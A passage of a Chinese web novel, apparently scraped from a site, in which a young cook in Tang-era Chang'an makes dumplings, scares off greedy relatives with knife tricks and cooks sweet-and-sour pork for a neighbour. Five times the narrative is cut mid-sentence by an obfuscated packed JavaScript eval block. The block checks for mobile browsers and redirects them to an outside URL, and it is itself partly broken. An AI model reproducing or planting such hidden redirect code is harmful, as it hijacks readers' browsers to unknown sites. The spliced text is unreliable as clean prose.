她在蒸屉底部刷了层薄油，把包好的小笼包一个个搁进去放好，转身在锅里添水，将两根长竹筷子交叉放进去，形成一个十字形。 确保筷子两端足够稳固，崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626272|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时钰这才将装满小笼包的蒸屉放在交叉的筷子上，盖上锅盖，伸手抓了把干树叶放进灶膛点燃。 火苗在灶膛里欢快跳跃，映照着她此刻专注的面庞。 水在锅中渐渐沸腾，热气袅袅升起，混合着肉香与面香在小小的庖厨里弥漫。 这段时间崔时钰也没闲着，扭身将方才用到的肉馅盆、面粉盆一一洗刷干净，估摸着时间差不多了，转身揭开锅盖。 白雾般的蒸汽散开，露出底下一个个圆圆滚滚的小笼包。 刚出锅的猪肉小笼包外皮暄软，每一个都软润饱满、褶子均匀，内里的肉汁隐隐透出，在面皮上晕开几处褐色痕迹，光是看着便能想象出里头肉馅和汤汁的浓香滋味。 肉香味悠悠传出，阿宁早就按捺不住了，扒着门探进半个脑袋，流着口水叫道：“阿姊，好香啊！” 阿锦的脑袋则出现在她的上方，两姐妹如叠罗汉一般，紧盯着自家阿姊做的这一锅小笼馒头。 崔时钰朝她俩笑笑，稳稳地将蒸屉端下灶台，招呼两个妹妹：“小笼馒头出锅喽！” 阿锦和阿宁应声而动，在食案旁边坐好。 崔时宁舔了舔嘴唇，用竹筷夹起一个，迫不及待将肉馒头咬开一个小口，微烫的汤汁瞬间涌出，鲜香四溢。 有了之前几次喝鱼汤的经验，这次她终于没再被烫到，先将包子里的肉汁喝了个精光。 带着猪肉鲜美和姜葱清香的肉汁鲜香十足，滋味浓郁，丝毫没有腻味的感觉，只觉得咸香可口。 喝完肉汁，阿宁又开始大口大口啃起小笼馒头。肉馅细腻滑嫩，却又能咬到颗粒感十足的肉粒，搭配着暄软又有韧性的面皮，让她忍不住一口接一口。 她年纪太小，形容不出来有多好吃，但就是好好吃、好好吃啊！ 她从来没吃过这么好吃的肉馒头！ “好好吃，阿姊怎么这么厉害呀！”阿宁边吃边夸，把“好吃”“真好吃”颠来倒去地说。 说话的同时吃肉包子的速度也没减慢，看得崔时钰啧啧称奇，忍不住叫她慢点吃别噎着。 阿锦显然稳重得多，只一个劲儿埋头大吃，偶尔夸赞也不是夸包子，而是夸崔时钰：“阿姊，你辛苦了。” 崔时钰夹了只小笼包放进她的碗里，笑着说：“这是阿姊应该做的。” 虽然她不让妹妹们插手家里的庖厨之事，尽管如此，妹妹们还是会过来帮忙，几乎每次用完的碗都是她们两个洗的。 崔时钰其实很想自己洗碗，毕竟这也算是锻炼身体的一种方式，但妹妹们死活不让，说什么“阿姊做饭，我们刷碗，这样才算公平”。 崔时钰当时就被可爱到了。 好吧，不刷碗就不刷吧！ 她笑笑，轻轻咬下一口小笼包。蓬松软乎的面皮带着丝丝缕缕的麦香，和咸香适口的猪肉馅完美结合。 鲜香、暄软、多汁，回味无穷。 就在吃到最后一个小笼包的时候，姐妹三人突然听到外面传来一阵略重的拍门声。 崔时钰以为是邻居王五娘，很自然地走过去开门。 谁知门外站着的竟是多年未见的舅舅和舅母。 8. 奇葩亲戚 在崔时钰的记忆中，最后一次见到舅舅舅母——田二郎与殷氏，已是差不多十年前的事了。 那时田二郎尚未发际，携妻子殷氏前往幽州做生意。担心爹娘留给弟弟的那些家产不够，崔母将自己的大半嫁妆分给了弟弟，做生意成功与否并不要紧，只盼望他与弟媳能平安归来。 谁知后来，田二郎的确是发达了，却再也没有回来同阿姊见面，哪怕崔父崔母相继过世，也只是草草派了个小厮来前来吊唁。 崔时钰不知道他们此番来的目的是什么，只是感叹：……这两个人什么时候胖成这样了？ 舅母殷氏穿一身袒胸窄袖的襦裙，领口处白皙且堆满赘肉的前胸敞露出来；头上梳着高耸的发髻，插了支水光油润的玉簪，越发衬得她面庞圆润、双下巴堆叠。 再去瞧舅舅田二郎，身着一件暗红明艳的宽大圆领袍衫，身形臃肿，特别是肚子高高隆起，仿佛怀胎数月，让他整个人瞧上去像一颗发福的胖苹果。 十年前田二郎与殷氏还是瘦瘦高高的两条人，并不长如今这副尊容。虽说本朝人以胖为美，但到这个程度……是不是有点夸张了？ 崔时钰觉得自己能一眼认出这两个人着实是个奇迹。 十多年前发生变故时崔时锦只有两三岁，几乎对此无甚记忆，崔时宁更是尚未出生。 小姑娘从小到大没见过胖成这样的人，一时有些害怕，但还是紧紧攥着阿姊的手，站在她的前面。 她要保护阿姊！ 与面前二人对视片刻，崔时钰正要开口，就听田二郎忽然嗷了一声，两行宽面条般的眼泪从他堆满肥肉的脸上落了下来。 田二郎此人，说得好听是实心眼直肠子，说不好听就是脑子不好使，虽然人人都这么说他，他却并未觉得有什么坏处：小时候有阿娘，长大有阿姊，成亲之后有娘子……反正从小到大都有人为他摆平难题，没什么可操心的。 当初在幽州之时，是妻子殷氏跑前跑后才将生意做得风生水起，按殷氏的话来说，他除了出了几个臭钱外几乎没起什么作用。 正因如此，田二郎格外听妻子的话，几乎对她唯命是从，殷氏让他往东，他绝不往西。 刚才叫这突如其来的肉香昏了脑子，他把先前在家演习好的唱词全都抛掷脑后了，被殷氏狠狠拧了把大腿上的肉才回过神来，一半是疼一半是演，眼泪一下子就出来了。 谁知话到临头，不知怎么，嘴边的“外甥女你近年可好”突然变成：“外甥女，我是舅舅啊，你可还认得我吗？你……你午食吃的是啥啊？” 田二郎早年家中困顿，没吃过什么好东西，中年暴富后发誓要补偿自己，带着殷氏与儿子田子恒报复性吃喝玩乐，这才养成如今这般不堪入目的体型——他儿子田子恒也同样如此。 田二郎自诩吃遍了长安城内的大小美食，哪知道竟在这间倒闭了的贩鱼铺子里被馋得口水直流。 实属罕见，实属罕见！ 听了他问话的崔时钰：“……” 敢情多年未见的舅舅舅母，大老远来就是为了问她中午饭吃了什么？ 一旁的殷氏见自家郎君实不顶用，气得直磨牙，又不好当场发作，不着痕迹把田二郎挤到一旁，自个面上挤出两滴眼泪，边用帕子拭泪边对崔时钰说：“外甥女，你近些年可还安好？听闻你前些日子不甚失足落水，我与你舅舅担心极了，便想着过来看看你。” 殷氏也算生得标致，尽管一朝发福，眉眼间依然能瞧出当年的影子，这一哭起来倒真有几分心酸可怜的意味，至少比田二郎看着赏心悦目。 其实殷氏并不清楚崔时钰到底是失足落水还是主动投河，只知道她确实是被人从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626273|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河里半死不活地捞了上来。 这时候的河水多冷啊，被淹了一遭定要落下病根，按她家这个条件，能撑得了几时？ 虽说前几日她刚从庄子里收完租，大进一笔，尚且看不上夫家那死人姐姐攒下的嫁妆，还有这间破鱼铺子，但是……蚊子腿也是肉啊。 不要白不要。 到底是这么多年不曾来往，殷氏也知道自己这一趟来得有些突兀，但他们与崔家毕竟有血脉相连，崔家大娘已成了病秧子，二娘三娘年岁尚小需人照顾，把家产交到舅舅舅母手中，肯定比交到旁人那里来得更放心些。 只是…… 殷氏借着抹泪的间隙悄悄瞥了一眼崔时钰。 谁能告诉她，这崔家大娘的面色为何如此红润有光泽？ 莫非是回光返照？ 崔时钰也在瞧她。 无事不登三宝殿，更何况是这种十多年没什么往来的白眼狼亲戚，田二和殷氏这一趟来的目的不是为钱就是为利，闭着眼睛都能猜到。 崔时钰上辈子见过太多奇葩的亲戚关系，此时面对这两个厚脸皮的人，倒也能泰然处之了。 她朝这两个不速之客微微一笑，作出一副恍然大悟状，“我当是谁，原来是舅舅舅母，多年未见，到叫我这个外甥女有些不敢认了，看来‘相由心生’这句话果真不错。坐啊，别客气——哦，我忘了，家里恐怕没有能供舅舅舅母坐下的地方，那舅舅舅母就站着吧。” 听完这番话，殷氏与田二郎双双目瞪口呆。 殷氏惊的是她的嘴皮子。 最后一次见面时，这崔大娘明明是打三闷棍都放不出一个屁来的沉闷性子，后来家中遭遇变故，更应该唯唯诺诺才是……怎得竟如此牙尖嘴利了！ 田二郎惊的却是另一件事：他知道方才那阵肉香是从哪儿来的了！ 9. 大快人心 一个瞧着大约六七岁、伶俐俏皮的小娘子——想来应该是他从未见过面的三外甥女，正一手紧紧牵着姐姐，另一手攥着个肉馒头。 那肉馒头已经被咬了一角，褐色微粉的肉馅儿露出来，上面还盈着微带油光的汁水，不光馅儿给得足，皮子也比寻常面皮看着更加白和软…… 光是看着便觉得可口！ 田二郎馋得口水都要流下来了。 他本就好吃，如今这一□□色生香的肉馒头摆在面前，焉有不馋的道理？ 崔时锦不知面前突然冒出来的两个人究竟是何方神圣，只紧紧盯着对方一举一动，冷不防眼神一错，瞧见正出神发愣的田二郎。 那人脸上虽然并未露出太过夸张表情，但眼神直勾勾地盯着阿宁手上的馒头，眼睛几乎一眨不眨，瞧着着实有几分可怕。 崔时锦用胳膊肘轻轻碰了碰妹妹。 崔时宁不解地抬头看去，见二姊对着她手里的肉馒头使眼色，以为她是担心凉了就不好吃了，于是低头三口两口快速把肉包吃进肚里，完事还不合时宜地打了个小小的饱嗝。 阿姊做的小笼馒头真好吃啊！ 这番举动让田二郎更加抓心挠肝，完了，这下最后一个肉馒头也没了！ 他忍不住道：“小娘子——不不，三外甥女，我是你舅舅呀，舅舅问你，你吃的这肉馒头是怎么做的？” 他打算问得做法，回家后让自家厨子做给他吃，到时便能想吃多少就吃多少！ 殷氏掩着帕子，眼神意味不明，倒也没出声反对。 她心中自有一副算盘：问这些家长里短的小事说不定能拉近与几个外甥女的距离，到时候把嫁妆拿回来就能更顺利了——话说回来，第一个闻见肉香味的人还是她呢！ 听到田二郎的问话，崔时宁仰头瞧他片刻，横竖在这张脸上找不到与自己的相似之处，摇摇头道：“我没有舅舅。” “那是因为，呃……” 田二郎卡了卡壳，发现对阿宁说“你小时候我还抱过你呢”这样的话实在难以服众，于是换了个目标，扭头对阿锦道：“这是二娘对吧？都长这么大了，你小时候舅舅还抱过你呢！” 其实田二郎早就对这个二外甥女无甚印象，最后一次见面的时候她还是个襁褓里的娃娃，他看着都嫌烦，更别提抱一下了。 而且，老实说，他有些犯怵和这二外甥女说话。 崔时锦的年纪虽不是三姐妹中最大，却有股特别的气质，大姐清丽，小妹娇稚，而她则是英气。因着这份英气，不笑时很有几分生人勿近的意味——现下更是如此。 听了这番话，崔时锦本来想说“别在这儿放屁”，又担心自己的强硬态度会给阿姊惹麻烦，狠狠瞪了田二郎一眼便把头扭到了一边。 自从爹娘相继过世，她们姐妹三人便一直相依为命，哪有亲戚登门关心过问一句。 她们早就没有亲戚了。 虽然没有崔时钰看得清楚透彻，但崔时锦也心里门清，这一对自称“舅舅舅母”的夫妇登上门来准没好事。 崔时钰也不愿意这两人纠缠妹妹，见他们主动和妹妹们搭话便开口道：“舅舅，这是外甥女做的豕肉馒头。” “什么？”田二郎的注意力被成功转移，两条横宽的眉毛拧起来，“豕肉？” 他最瞧不上这种肉了！ 倒不是因为豕肉多为平民所食的贱肉，以田二郎的脑子根本联想不到这点，对他来说，好吃就行，管他出身何处？他讨厌豕肉只有一个原因，那就是这玩意臊气得很，不好吃。 有次他在于记酒楼吃了道蒸彘肩屑，不知是肉不新鲜还是什么原因，十分难以下咽，嚼不动不说，还满嘴都是让人作呕的腥臊味。 田二郎已经忘了那道肉菜后来是怎么处理的了，他只想把那野蛮的滋味从自己的美食记忆里永远抹去。 从此，他对豕肉敬而远之。 殷氏同样也瞧不上豕肉。 与自家郎君的态度不同，她瞧不上豕肉，是因为觉得这是只有微贱之人才会吃的肉，像他们这种大富大贵之家，断不会吃豕肉。 但两人不约而同都有一个疑问：既然是豕肉，为何还会这么香？ 莫不是外甥女在诓他们，这肉馒头其实是用羊肉做的？ 田二郎和殷氏正疑惑着，就听崔时钰道：“舅舅既想知道这肉馒头是怎么做的，外甥女便给舅舅舅母展示一遍。” 说完这句话，崔时钰转身进了庖厨，眨眼的工夫便端了一个小木盆出来，手里还握着柄宽刃菜刀。 看见那柄银光闪闪的菜刀，殷氏心头一跳，不由自主向后退了一步，田二郎却是十分好奇地凑上前去。 不等他们开口，崔时钰便主动介绍：“这便是用来做肉馒头的馅儿了。” 她知道家里三口人每顿饭量是多少，用量掐得极准，是以木盆里的肉馅儿差不多都用完了，只剩零星几个小肉丁，但依然香味十足，不见半点腥膻。 她只是想借拿肉馅的理由去趟庖厨，然后…… 田二郎正感叹着怎么连生肉馅都这么香，刚准备再凑近闻闻，接着就听自家娘子惊呼一声。 他侧头去看，不知怎么，方才那柄在外甥女手中握得好好的菜刀竟上了天，刀光在空中划出一道银蛇般的弧线，而后稳稳落回崔时钰手中，又被她转出一个寒光闪闪的刀花。 田二郎看得呆若木鸡，惊得话都说不出了，殷氏则捏着帕子连连后退，几乎退到大门旁边，哆嗦着嗓子：“外甥女，你、你这是做什么！” “舅舅不是想知道这肉馒头是怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626274|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做出来的吗？便是这样用刀剁出来的。”崔时钰不紧不慢道，“舅舅与舅母远道而来，这点心愿外甥女还是能满足的。” 这套转刀花是她的压箱底绝活，轻易不外露，此番只是想告诉这两个人，她不是好惹的，别想来找她的茬。 转完刀花，崔时钰又做了个抛接刀的动作。 抛接刀，即将菜刀向上抛起，待落下后接住，技巧性强，难度极大，接刀时需得注意一定要确保刀柄朝内、刀锋朝外，一旦接反就完蛋了。 这套动作崔时钰练了好几年，足能确保万无一失，此刻才敢放心地惊人眼球。 她特意选在离田二郎和殷氏近距离的地方做了这套动作，菜刀在空中旋转一圈，落下，又被她稳稳接住。 刀柄到手的下一秒阿宁便高兴得蹦起来，一边拍手一边叫好：“阿姊好好厉害！阿姊最厉害！” 与阿宁的兴奋不同，殷氏瞧见这一幕，本就已经软了的腿现在更是快站不住了。 她本意是过来讨个便宜，没承想女大十八变，这崔家大娘竟从唯唯诺诺的闷性子变成耍大刀的女罗刹了！ 万一待会儿砍到他们怎么办！ 殷氏匆匆丢下一句“外甥女你先忙我和你舅舅就不叨扰了”，便扯着田二郎走也不回地离开了。 田二郎虽也有些怕，被自家娘子拉走时仍忍不住琢磨：那豕肉真有这么香？难不成是我之前没吃到好的，误会它了？ 在他心里，没吃到肉馒头竟比没要到嫁妆还要不快。 一场风波平息，阿锦心中自然也高兴，只是心中隐隐有个疑问：阿姊是什么时候学会这些的？ 崔时钰出门探头看了看，见田二郎与殷氏早就跑没影了，这才松了口气，也没隐瞒，如实告诉了妹妹们对方的身份。 “……他们确实是我们的舅舅和舅母。”她最后做总结道。 崔时宁扬着圆脑袋，还是那句话：“我没有舅舅，也没有舅母。” “我也是。”崔时锦那张英气小脸上满是不忿，“当初我们一家人落难，他们跑得比谁都快，结果现在到想着来占我们便宜，真是……真是太坏了！这样的亲戚，有还不如没有。” 见两个妹妹只是气愤不满，并没有任何伤心情绪，崔时钰放下心来，挨个揉了揉脑袋，温声道：“阿姊只是想告诉你们，这种人根本不值得你们劳心劳力，遇到这种人，远远躲开便是，千万不要被他们吸血。” 一大一小两个小女孩都用力地点了点头。 得到想要的回答，崔时钰满意一笑。 田二郎与殷氏的突然造访只是个小插曲，不会打乱她的生活节奏。她关上门，撸起袖子握着菜刀又回庖厨了。 得了人家的好处不能不还，她打算做锅猪肉小笼包给隔壁王五娘送过去。 10. 挑食少女 王五娘正在庖厨里埋头琢磨暮食该吃些什么。 每到这种时候，她总很是发愁，情愿一日十二个时辰都在铺子里点豆腐。 她将全部心力都倾注在方寸的豆腐锅之间，对其他诸事便显得有些生疏，尤其不通庖厨一道。偏生孙女在饮食方面十分挑剔，对端上来的吃食不是嫌这便是嫌那，故而得了“娇娇”这个小名。 昨日做的波棱菜馎饦显然又没能讨到娇娇的欢心，小姑娘喝几小口汤、挑了几根波棱菜吃就去坊里找其他孩子玩了，连评价都没留下。 王五娘只得含泪吃了两碗，倒不是因为好吃，而是波棱菜价贵，浪费不得啊！ 娇娇此类挑食行为还有许多：上次王五娘早早去早市买来的刚出锅的胡饼，外皮烤得金黄酥脆，胡麻粒粒饱满，可娇娇只瞥了一眼便小手一挥说“这饼干巴巴的，看着就难嚼得很”；上上次王五娘做了只煮鸡，鲜嫩极了，却被娇娇嫌弃味道寡淡，啃了两只鸡翅膀便离桌了；至于那些煎豆腐、豆腐羹、豆腐汤、菜豆腐粥之类的豆腐菜肴，娇娇更是吃腻到不能再腻。 王五娘托着下巴，看着案板上还算新鲜的葵菜、蔓菁、两根萝卜和半颗白菘，想，反正做什么娇娇都不爱吃，晚上便吃豆腐焖白菘吧，省事！ 正要卷起袖子开始洗菜，突然听到外头传来一阵柔和的敲门声。 崔时钰温声道：“婶娘，是我。” 用过午食后，崔时钰挨着妹妹们在榻上眯了片刻，醒来后又去买了几条猪肉。 这次她没去先前那个态度一般的小肉摊，而是去了西市的一个大肉铺，高记肉行；买的猪肉也不只是单一的猪前腿，还多添了一条猪五花。 用猪身上不同位置的肉做出来的小笼包味道各有不同，猪前腿肉做出来的小笼包口感细腻、鲜嫩多汁，五花肉小笼包则更为肉香浓郁，两种滋味各有千秋。 最好的方法便是将猪前腿肉和五花肉混合，这样做出来的肉馅儿既鲜嫩多汁，又能增加肉香。 和她先前去的只有猪前腿一种猪肉的小肉摊不同，高记肉行里，各类肉品琳琅满目。 最显眼的依然当属被码放在案上的羊肉，崔时钰只简单扫了一眼，便看到羊腿、羊排、羊肚、羊肠等多种品类，洁白的羊脂衬着粉嫩的羊肉，闻起来有股独特的膻香。 除了羊肉，排名第二的是各种禽类，只见铁钩上按照个头大小挂着几只已经处理好的鸡鸭鹅，羽毛拔得干干净净，鸡皮鸭皮紧紧绷着，光是看着便觉得肉质结实饱满。 再次便是悬挂在木架上的猪肉了。 虽说不是铺子里的常青树，但店主高老汉对待猪肉同样精心，将每一块猪肉都切得整整齐齐，品种也不少，有色泽红润的猪里脊，纹理清晰的猪胸口，还有雪白得如同牛乳般的猪板油，想来用它炼罐子猪油定会香气四溢。 除去这些常见肉类，崔时钰还瞧见几只剥好皮的兔子，和一些诸如果子狸、竹鼠之类的野味。 ——对她这种现代人来说，这玩意可不兴吃啊。 崔时钰瞧了一眼便默默收回目光，矜持地买了两条猪前腿和一条猪五花，一共花了二十九文。 和名不见经传的小摊相比，肉行里的肉价格要稍贵些。就拿猪前腿来说，崔时钰当初在小摊上买的是八文一斤，在肉行要卖到十文一斤，贵出两文。 虽然价贵，但肉行里的肉明显品质更好更新鲜，购买起来也更加容易，还不必担心铺子跑路，而且若是大批量进货，说不定还能把价格打下来…… 是的，她已经思考起以后开饭馆的大小事宜了。 值得一提的是，高记肉行店主高老汉为人很是和善，见崔时钰在各类肉前徘徊许久，最后却只买了价格便宜的猪肉，也没有表现出任何不满情绪，还笑吟吟问她是否提得动、需不需叫人送到家里去。 崔时钰很乐意与这样的人打交道。 她微笑着说能提动，然后默默把这位高老汉列入未来合作伙伴的备选名单之中。 回到家，和中午一样，崔时钰蒸了两屉猪肉小笼包，让妹妹们先吃着，自己端着剩下那屉便趁热给王五娘送来了。 白吃人家那么多豆腐，给人家送点包子算得了什么？ 正想着，门开了。 “阿钰来了，快进来坐！”王五娘开门，看到崔时钰抱着的一屉白白胖胖的小馒头，惊得睁大了眼，“这是……” 崔时钰笑着开口：“中午做了些豕肉小笼馒头，我和阿锦阿宁吃着还不错，想着婶娘大约也会喜欢，便多做了一屉出来，婶娘快拿回屋和娇娇趁热吃吧。” 王五娘一听便乐开了花，一是为崔时钰记挂着自己的这份心意感到心暖，二是……不用费心琢磨暮食吃什么了！ 救星，这是天大的救星！ 虽说这豕肉馅儿的馒头未必能合娇娇挑剔的胃口，但好歹能糊弄过去一顿。 应付一顿是一顿！ 王五娘千恩万谢地谢过崔时钰，对待珍宝一般把还冒着热气的小笼包端进屋内，喊孙女娇娇过来吃饭。 娇娇不知方才去哪儿玩了，玩得两只小手都脏兮兮的，王五娘打了井水给她仔仔细细洗干净手，这才牵着宝贝孙女进屋，边走边念叨：“隔壁崔阿姊送了一屉肉馒头过来，咱们今天晚上就吃这个。” 果然，娇娇听完便歪头问：“肉馒头？是什么馅儿的呀？” “呃……”王五娘舌头打了打结，知道说出豕肉来这孩子便多半不会吃了，只得糊弄过去：“崔阿姊方才说来着，但阿婆忘了，总之味道不会差的。” 但其实她自己心里也没底。 豕肉做的，能有多好吃？ 娇娇虽没再说什么，但很明显一副兴致缺缺的模样， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626275|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不情不愿地坐上了自己的小胡凳。 面前是一屉圆圆滚滚的小笼馒头，冒着微微的热气，面皮细腻暄软，里头褐色的汤汁微微透出来，晕染了一小块面皮。 模样倒还不错。 娇娇又凑近闻了闻味道，一股她从没闻过的香味差点将她的鼻子淹没——闻起来也不错。 至此，面前这屉肉馒头还算让娇娇满意，她这才用筷子夹起一个，放进装着食醋的小碟里滚了一遭，送入自己口中。 刚一入口咀嚼，娇娇便忍不住睁大眼睛。 好香啊！ 她顾不上说话，嘴里的肉馅还没咽下去便迫不及待拿筷子夹下一只，直吃得两边腮帮子鼓鼓囊囊，活像只正在进食的仓鼠。 王五娘哪里见过娇娇的这副阵仗？不必孙女开口说话，便知她一定是对这锅小笼馒头喜爱得紧。 不过……真有这么好吃？ 被孙女的吃相感染，王五娘也执起竹筷夹了只肉馒头，略点了点香醋一口咬下。 下一刻，她发出了和娇娇别无二致的感叹：好香啊！ 微烫的汤汁裹着醋的酸香在口中迸发，肉馅的鲜美被醋味衬托得更加浓郁，鲜嫩多汁的肉馅、柔韧软乎的面皮，再加上醋的提味，让人忍不住一个接一个地吃下去。 真好吃！ 一时间，王五娘和娇娇两个人谁都没有开口说话，屋子里只有沉浸式吃小笼包的声音。 没过多久，二十来个小笼包便都进了祖孙二人的肚子。 王五娘和娇娇对视一眼，彼此都在对方脸上看到了意犹未尽的神情。 * 这顿小笼馒头吃完以后，娇娇的挑食毛病仿佛不复存在，每天闹着要吃肉馒头。 王五娘被她缠得没法，又脸皮薄，不好意思再去向崔时钰讨要，便自己去集市上买了豕肉来做。 只是肉馒头而已，她应该也能做得吧？ 事实证明，她不能。做出来的肉馒头不是肉馅太硬就是太油，味道也重得邪乎，有次她竟在馒头里吃出了自家茅厕的味道…… 王五娘觉得不能再这样下去了，浪费银钱不说，还浪费粮食。造孽！ 这日她早早去了集市，拎着买回来的豕肉敲响了崔家大门。 “阿钰，婶娘就有话直说了。”王五娘有些不好意思地说，“那天你做的肉馒头……能不能再给我和娇娇做上一屉？真是好吃惨了！” “你别担心，我买了好些豕肉，刨去我和娇娇的，剩下的也够你们三姐妹也吃一顿的了，就当是我麻烦你的辛苦费，你可一定要收下啊！” “婶娘，您不必和我如此客气，小笼蒸包而已，做起来不算个事，只是……” 她看向王五娘递来的几条猪肉，“这里脊肉做出来的小笼馒头，滋味恐怕没那么好。这样，我给娇娇做道糖醋里脊如何？” 11. 糖醋里脊 王五娘眼神中盈满了疑惑，“糖、糖醋里脊？这是个什么菜？” 崔时钰笑着解释：“这糖醋里脊便是用里脊肉条制成的一道菜，将切好的肉条放入锅中炸至金黄，再裹上糖醋汁子，吃起来外酥里嫩、酸甜可口，保管小孩子喜欢。” 王五娘舔了舔嘴唇。 她自诩不是一个十分爱吃的人，若非如此也不会在厨艺方面多年无所进展，然而此时此刻，听完崔时钰介绍的这道菜也忍不住被勾起了馋虫。 特别是那句“小孩子保管喜欢”，更是让她心花怒放，下一刻便将猪里脊肉放心托付给崔时钰，眉开眼笑道：“好，好，阿钰，那我便将这肉交给你了，剩下的你和妹妹们吃，不用还！” 虽说不是娇娇钦点的小笼馒头，但想来味道应该不会差。 ——连她自个都没意识到，她已然对崔时钰的厨艺相当信任了。 因两家相距不远，崔时钰便让王五娘先回去等着，等她做好再端送过去。 王五娘千恩万谢地离开了。 送走王五娘，崔时钰动作麻利地处理起食材。 她看了看对方送来的猪里脊，色泽红润、纹理清晰、手感鲜嫩，用手轻轻按压就能快速回弹——这是肌肉纤维细小、水分含量充足才能达到的效果。 是极好的里脊肉。 对于厨子来说，没有什么能比优质食材更能激发烹饪热情了。 崔时钰干劲满满，将几条里脊肉条清洗干净，按照先前的“猪肉去腥三部曲”去除异味，接着将肉放在案板，执起菜刀。 随着均匀有力的剁肉声响起，几大块里脊肉很快被切成了粗细均匀的长条。若是挑出几根用刻花尺仔细测量，便会发现每一根肉条的长短粗细几乎都相差无几，仿佛经过精心丈量一般。 崔时钰另取来一只瓷碗，将切好的里脊条放入其中，又放盐和酱油，再添几片用来去腥增香的葱姜，用竹筷轻轻搅拌，待里脊条充分吸收调料的味道后，最后略点几滴菜籽油锁住水分。 其实腌渍肉最好还应放些胡椒粉，但这时候的胡椒价格实在贵得令人发指。 本朝的胡椒已经不能用“调味料”来简单概括了，更像一种极为珍贵的商品，价值和地位远超普通香料，可与黄金相媲美，一两黄金只能换得五十斤胡椒。 前几日崔时钰和王五娘闲聊八卦，偶然提到了胡椒，王五娘便打开话匣子，说几年前朝中某个大官因贪污被抄家，从家中搜刮出的囤积的胡椒竟多达八百多石……这足以说明胡椒的价值了。 但胡椒依然不能没有。 崔时钰思来想去，决定以后暂时用花椒来代替。尽管这时候的花椒也不算便宜，但至少比胡椒强多了不是？ 趁着肉条腌渍入味这段时间，她用鸡蛋、面粉加水快速调了个面糊。 调好的面糊稠度很像酸奶，将筷子沉入再提起，会有黏糊糊的面浆从筷子上缓慢滴落。崔时钰将里脊肉条挨个放进面糊，用筷子略略翻滚，让每一条里脊都穿上面衣。 等到每根里脊肉条都裹浆完毕，锅里的油也烧热得差不多了。 崔时钰从柜中翻出一双长筷，夹起一根根里脊肉条投进锅中，下一秒便听到油花四溅的滋滋响声。 她熟练地用长筷翻动着油锅中的里脊条，确保每一面都受热均匀、炸透炸酥。 没过多久，庖厨里便弥漫起炸物特有的油脂香气，透过灶台前的窄窗悠悠飘散而出，引得院子里的阿锦和阿宁纷纷吞咽口水。 大火烹油，肉条熟得极快，很快就在油锅中变成了金黄酥脆的模样，但崔时钰没有就此打住，将炸好的里脊条一一捞出，略沥干油后又进行了复炸，经两次炸制的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626276|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉条会更外焦里嫩，口味更佳。 炸完里脊肉条，她便开始做糖醋汁，即糖醋里脊的灵魂。 做糖醋汁最重要的技巧便是注意火候，崔时钰从灶膛里抽出几根木柴，让中火转为小火，又将锅内的余油倒出，只留少许底油，放白糖、米醋和少许盐，用木铲不断搅拌。 若是再放些番茄酱进去，糖醋汁子的味道和颜色都会更好，可惜这时候番茄尚未传入大唐，崔时钰只能在心里头回味西红柿酸甜多汁的滋味了。 不过按她这样做出来的糖醋汁子也是极好的。 经过不断搅拌过后，白糖粒已完全溶解，冒起透明微黄的甜蜜糖泡，诱人的酸甜气息随着轻微的咕嘟声散发出来。 崔时钰这时将提前调好的水生粉缓慢倒入锅中，边倒边搅拌。 